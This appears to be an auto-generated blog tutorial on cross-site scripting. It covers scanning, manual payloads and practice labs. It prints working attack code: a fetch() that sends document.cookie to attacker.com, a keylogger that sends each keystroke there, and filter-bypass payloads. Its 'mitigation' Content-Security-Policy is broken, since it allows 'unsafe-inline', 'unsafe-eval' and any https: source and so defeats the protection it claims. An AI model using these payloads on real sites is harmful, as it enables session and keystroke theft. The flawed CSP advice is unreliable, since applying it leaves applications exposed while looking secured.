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Cross-Site Scripting (XSS) remains one of the most prevalent web application vulnerabilities, allowing attackers to inject malicious scripts into trusted websites. In this article, we explore XSS exploitation techniques, detection, and mitigation strategies.
You Should Know: Practical XSS Exploitation & Defense
1. Identifying XSS Vulnerabilities
Use these tools to detect XSS flaws:
OWASP ZAP (Automated Scanner)
zap-cli quick-scan -s xss http://example.com
XSS Hunter (Payload Verification)
curl -X POST https://xsshunter.com/api/payloads -d '{"domain":"your-xss-hunter-subdomain"}'
Manual Testing with Common Payloads
<script>alert(1)</script>
<img src=x onerror=alert(document.cookie)>
2. Exploiting XSS in Web Applications
Once a vulnerability is found, test persistence:
// Stealing Cookies via XSS
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Keylogging
document.addEventListener('keypress', (e) => {
fetch('https://attacker.com/log?key=' + e.key);
});
3. Bypassing XSS Filters
Modern WAFs (Web Application Firewalls) block common XSS payloads. Try these bypass techniques:
< svg/onload=alert(1)> <details/open/ontoggle=alert(1)>
4. Mitigation Techniques
Prevent XSS attacks using:
// PHP: HTML Entity Encoding htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8'); // JavaScript: Content Security Policy (CSP) Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval' https:
5. Practice Labs for XSS Testing
- PortSwigger XSS Labs: https://portswigger.net/web-security/cross-site-scripting
- DVWA (Damn Vulnerable Web App):
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
What Undercode Say
XSS attacks remain a critical threat due to improper input sanitization. Always:
– Use CSP headers to restrict script execution.
– Implement HTTP-only cookies to prevent theft.
– Regularly test with automated scanners like Burp Suite or ZAP.
For penetration testers, mastering XSS leads to discovering deeper flaws like DOM-based XSS and stored XSS.
Expected Output:
A secure web application with:
✔️ Input validation
✔️ Output encoding
✔️ CSP enforcement
✔️ Regular vulnerability scanning
Keep hacking ethically! 🚀
References:
Reported By: Xanlar Agamalizade – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
